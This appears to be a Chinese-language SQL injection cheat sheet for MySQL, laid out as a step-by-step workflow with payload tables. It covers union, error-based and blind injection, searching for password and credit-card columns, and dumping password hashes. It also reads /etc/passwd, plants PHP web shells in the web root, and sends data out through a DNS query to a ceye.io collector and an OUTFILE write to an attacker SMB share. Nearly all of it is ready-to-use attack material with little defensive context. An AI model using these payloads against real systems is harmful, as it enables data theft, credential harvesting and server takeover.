SQL绕过
漏洞的类型
SQL注入的具体判断流程:
1.注入点测试:
测试交互方式,判断浏览器提交数据和web浏览器的交互方式。
2.判断字符的类型:整数型还是字符型
3.构造闭合:(字符型需要,整型不需要)
4.查询字段数:构造SQL语句并判断数据库表的行数
5.判断回显位:构造SQL语句,找到数据库回显的位置
6.查询数据库的基本信息:数据库名字、版本
7.爆数据库的敏感信息:数据库表名、字段名(列名)、字符中的数据
信息收集
Description | Query |
---|---|
Version | SELECT @@version; |
User | SELECT user() SELECT system_user(); |
Users | SELECT user FROM mysql.user * SELECT Super_priv FROM mysql.user WHERE user= 'root' LIMIT 1,1; |
Tables | SELECT table_schema, table_name FROM information_schema.tables; |
Columns | SELECT table_name, column_name FROM information_schema.columns; |
Databases | SELECT schema_name FROM information_schema.schemata ; |
Current Database Name | SELECT database(); |
Query another Database | USE [database_name]; SELECT database(); SELECT [column] FROM [database_name].[table_name]; |
Number of Columns | SELECT count(*) FROM information_schema.columns WHERE table_name = '[table_name]'; |
DBA Accounts | SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; |
Password Hashes | SELECT host, user, password FROM mysql.user; |
Schema | SELECT schema(); |
Path to Data | SELECT @@datadir; |
Read Files | SELECT LOAD_FILE('/etc/passwd'); |
数据定位查询
Description | Query |
---|---|
Database sizes | SELECT table_schema “Database Name",sum( data_length + index_length ) / 1024 / 1024 “Database Size in MB",sum( data_free )/ 1024 / 1024 “Free Space in MB" FROM information_schema.TABLES GROUP BY table_schema ; |
Database name keyword | SELECT table_schema “Database Name" FROM information_schema.TABLES WHERE table_schema LIKE “%passwords%" GROUP BY table_schema ; |
Table name keyword | SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema NOT LIKE “information_schema" AND table_name LIKE "%admin%"; |
Column name keyword | SELECT column_name, table_name FROM information_schema.columns WHERE column_name LIKE ”%password%“; |
Column data regex | SELECT * from credit_cards WHERE cc_number REGEXP '^4[0-9]{15}$'; |
命令执行
Description | Query |
---|---|
Command Execution (PHP) | SELECT "<? echo passthru($_GET['cmd']); ?>" INTO OUTFILE '/var/www/shell.php' |
Command Execution with MySQL CLI Access | https://infamoussyn.wordpress.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/ |
读写文件
Description | Query |
---|---|
Dump to file | SELECT * FROM mytable INTO dumpfile '/tmp/somefile' |
Dump PHP Shell | SELECT 'system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php' |
Read File | SELECT LOAD_FILE('/etc/passwd') |
Read File Obfuscated | SELECT LOAD_FILE(0x633A5C626F6F742E696E69) reads c:\boot.ini |
File Privileges | SELECT file_priv FROM mysql.user WHERE user = 'netspi' SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%netspi%' |
横向运动
Description | Query |
---|---|
Create Users | CREATE USER 'netspi'@'%' IDENTIFIED BY 'password' |
Drop User | DROP USER netspi |
数据泄露
Description | Query |
---|---|
DNS Request | SELECT LOAD_FILE(concat('\\\\',(QUERY_WITH_ONLY_ONE_ROW),'sql.rqe94e.ceye.io\')) |
SMB Share | SELECT * FROM USERS INTO OUTFILE '\\attacker\SMBshare\output.txt' |
HTTP Server | SELECT * FROM USERS INTO OUTFILE '/var/www/html/output.txt' |
Numeric Concatenation | SELECT length(user()) SELECT ASCII(substr(user(),1)) |
普通查询注入
判断漏洞是否存在
union注入(整型和字符型)
Description | Query |
---|---|
Union | SELECT "mysql" UNION SELECT @@version |
Union subquery | SELECT "mysql" UNION (select @@version) |
Union null | SELECT "mysql","test" UNION SELECT @@version,null |
Stacked Queries | SELECT "mysql"; INSERT INTO 'docs' ('content') VALUES ((SELECT @@version)) |
数字型
例如后端SQL语句:
select * from article where artid = 1 and xxxxx;
可以在参数值后面输入单引号,此时数据库无法执行就会报错,说明存在SQL注入
?id=1’
#select * from article where id = 1’ and xxxx;
通过and 1=1 ,and 1=2 判断
?id=1 and 1=1
?id=2 and 1=2
#select * from article where id = 1 and 1=1 and xxxx;
#若and 1=1页面回显正常,and 1=2 回显不正常 ,则说明拼接成功
注意:在测试删除功能时尽量不要使用and 1=1
,否则可能会将数据全部删除
字符型
与数字型类似,注意单引号/双引号/括号的闭合,可以在最后加上注释符把后面的闭合符号和语句直接注释掉
判断字段数
?id=1 order by 4
# 遍历数字,页面内容回显正常说明列数正确
order by 无法使用时,可以通过SELECT NULL判断
?id=1 SELECT NULL, NULL, NULL, NULL
爆库名
?id=-1 union select 1, database(), 3, 4
爆表名
?id=-1 union select 1,group_concat(table_name), 3, 4 from information_schema.tables where table_schema=xxx
报错注入
报错常用的函数
floor
id=1 and select count(*
),floor(rand(0)*
2) x from xxx group by x;
extractvalue
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
updatexml:updatexml(xml_doument,XPath_string,new_value)
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
exp
id=1 and exp(~(select * from(select user())a));
Description | Query |
---|---|
XML Parse Error | SELECT extractvalue(rand(),concat(0x3a,(select version()))) |
Double Query | SELECT 1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT username FROM USERS LIMIT 0,1),FLOOR(rand(0)2))x FROM information_schema.TABLES GROUP BY x)a) |
Get Current Database | SELECT a() |
ExtractValue (最长32位) | select name,password from typecho.typecho_users where name = "admin" and extractvalue(1, concat(0x7e, (select @@version),0x7e)); |
UpdateXml (最长32位) | select name,password from typecho.typecho_users where name = "admin" and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) |
盲注
Boolean盲注
盲注常用的函数
length() # 返回字符串的长度
substr() # 截取字符串 (语法:SUBSTR(str,pos,len))
ascii() # 返回字符的ascii码 [将字符变为数字wei]
sleep() # 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) # 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
注入步骤
1.判断数据库名字的长度
?id=1 and length(database()) > 7
2.猜解数据库名
?id=1 and substr(database(), 1, 1) = ‘s’
可以使用burp或者python脚本进行遍历猜解
时间盲注
注入方法
1.判断注入点
根据页面回显判断
1” and 1=1– # 页面返回有数据
1” and 2=2– # 页面返回有数据
用sleep()判断,如果响应延时了5s说明存在时间盲注
“ and sleep(5)–
2.猜解当前数据库名称长度
“ and if((length(database()))=12,sleep(5),1)–
Partial-Blind
Description | Query |
---|---|
Version is 5.x.x | SELECT substring(version(),1,1)=5 |
Subselect enabled | SELECT 1 AND (select 1)=1 |
Table log_table exists | SELECT 1 AND (select 1 from log_table limit 0,1)=1 |
Column message exists in table log_table | SELECT message FROM log_table LIMIT 0,1 |
First letter of first message is t | SELECT ascii(substring((SELECT message from log_table limit 0,1),1,1))=114 |
Full-Blind
Description | Query |
---|---|
User is root | SELECT IF(user() LIKE 'root@%', SLEEP(5), null) |
User is root (Benchmark method) | SELECT IF(user() LIKE 'root@%', BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds')), null) |
Version is 5.x.x | SELECT IF(SUBSTRING(version(),1,1)=5,SLEEP(5),null) |
MySQL写webshell
写入文件
使用into outfile()
将一句话写入网站目录
select '<?php @eval($_POST[CMD]); ?>' into outfile '\/var\/www\/html\/shell.php';
MariaDB
docker mariadb
1 | `docker search mariadb` |
常用语句
查找所有用户
1 | `select group_concat(user) from mysql.user;` |
用户hash:
1 | `select group_concat(password) from mysql.user where user='root'` |